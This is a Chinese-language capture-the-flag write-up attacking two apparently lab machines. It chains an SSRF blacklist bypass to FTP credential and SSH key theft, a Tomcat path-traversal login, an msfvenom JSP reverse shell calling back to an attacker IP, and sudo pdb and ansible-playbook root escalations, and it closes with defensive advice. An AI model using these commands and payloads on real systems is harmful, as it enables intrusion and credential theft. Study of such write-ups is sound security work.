迷糊的提权方式以及利用ssrf到最终提权靶机
字数 1940 2025-08-29 08:31:35
SSRF漏洞利用与提权技术详解
1. 初始信息收集与SSRF漏洞发现
1.1 目标识别与端口扫描
- 使用Nmap进行初始扫描:
nmap -v -sSV -Pn 10.10.11.111 -T4 -sC - 发现仅开放80端口,但直接访问失败
- 通过添加host头解决访问问题:
echo "10.10.11.111 forge.xxx" >> /etc/hosts
1.2 子域名枚举
- 使用wfuzz工具枚举子域名:
wfuzz -c -u "http://forge.xxx/" -H "Host:FUZZ.forge.xxx" -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt - 发现
admin.forge.xxx子域名,添加到hosts文件
1.3 SSRF漏洞发现
- 发现上传功能存在黑名单限制
- 通过大小写绕过:
http://aDmin.forGe.xxx/ - 分析返回包发现敏感路径
/announcements - 继续利用SSRF访问该路径获取更多信息
2. SSRF深度利用
2.1 获取FTP凭据
- 通过SSRF读取
/announcements获取:- FTP用户名:
user - 密码:
heightofsecurity123!
- FTP用户名:
- 发现
/uploadAPI端点,参数u存在SSRF漏洞
2.2 组合利用SSRF与FTP
- 构造SSRF请求读取FTP内容:
http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx - 成功读取用户家目录文件
2.3 获取SSH私钥
- 通过SSRF读取SSH私钥:
http://aDmin.forGe.xxx/upload?u=ftp://user:heightofsecurity123!@FORGE.xxx/.ssh/id_rsa - 保存私钥后连接SSH:
ssh -i id_rsa user@10.10.11.111
3. 提权技术
3.1 初始权限检查
- 检查sudo权限:
sudo -l - 发现可无密码执行特定Python文件
3.2 利用Python调试器提权
- 执行可疑Python文件,发现会调用pdb调试器
- 在pdb调试模式下执行Python代码:
import os; os.system('chmod +s /bin/bash') - 通过设置SUID位提权:
/bin/bash -p
4. 第二靶机:GitBucket与Tomcat漏洞利用
4.1 初始扫描
- 扫描发现开放22、443、8080端口
- 8080端口运行GitBucket代码仓库
4.2 获取Tomcat凭据
- 在GitBucket的commit历史中发现:
- 用户名:
tomcat - 密码:
42MrHBf*z8{Z%
- 用户名:
4.3 Tomcat路径遍历漏洞
- 利用反代路径遍历漏洞访问管理界面:
https://seal.xxx/manager/status/..;/html - 参考漏洞:Tomcat Path Traversal via Reverse Proxy Mapping
4.4 上传Web Shell
- 生成war格式的反向shell:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.46 LPORT=6666 -f war -o shell.war - 通过Burp Suite修改上传路径后上传
4.5 获取初始shell
- 设置监听:
nc -lvvp 6666 - 访问上传的shell获取反向连接
5. Ansible Playbook提权技术
5.1 发现可疑进程
- 检查root进程:
ps aux | grep root - 发现Ansible Playbook定期执行备份
5.2 分析Playbook文件
- 检查
/opt/backups/playbook/run.yml - 关键配置:
copy_links=yes允许符号链接
5.3 创建符号链接
- 创建指向SSH私钥的符号链接:
ln -s ~/home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa - 等待Playbook执行后,私钥会被备份到
/opt/backups/archives
5.4 获取SSH访问
- 解压备份文件获取私钥
- 设置适当权限:
chmod 600 id_rsa - SSH连接目标主机
5.5 最终提权方法
方法一:直接执行Playbook
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF
方法二:创建自定义Playbook
创建root.yml文件:
name: Ansible Copy Example Local to Remote
hosts: localhost
tasks:
- name: copying file with playbook
become: true
copy:
src: /root/root.txt
dest: /dev/shm
owner: luis
group: luis
mode: 0777
执行:sudo /usr/bin/ansible-playbook root.yml
6. 关键知识点总结
-
SSRF漏洞利用:
- 通过大小写绕过黑名单
- 结合FTP协议读取系统文件
- 获取SSH私钥实现权限提升
-
Web应用漏洞:
- GitBucket中敏感信息泄露
- Tomcat反代路径遍历漏洞(..;/绕过)
- Web Shell上传技术
-
提权技术:
- 利用Python调试器(pdb)执行系统命令
- Ansible Playbook符号链接漏洞
- 通过sudo权限执行任意Playbook
-
信息收集技巧:
- 子域名枚举
- 源代码审计
- 进程与定时任务分析
-
权限维持:
- SSH私钥利用
- 文件权限控制
- 备份文件分析
7. 防御建议
-
防止SSRF:
- 实施严格的输入验证
- 禁用不需要的URL协议
- 使用白名单而非黑名单
-
Web应用安全:
- 定期审计代码中的敏感信息
- 及时更新中间件
- 限制管理界面访问
-
权限控制:
- 最小权限原则
- 定期审计sudo权限
- 监控异常进程
-
Ansible安全:
- 限制Playbook执行权限
- 禁用不必要的模块功能
- 审计Playbook内容
通过本案例可以全面了解从SSRF漏洞发现到最终系统提权的完整攻击链,以及如何利用各种中间件和自动化工具配置不当进行权限提升。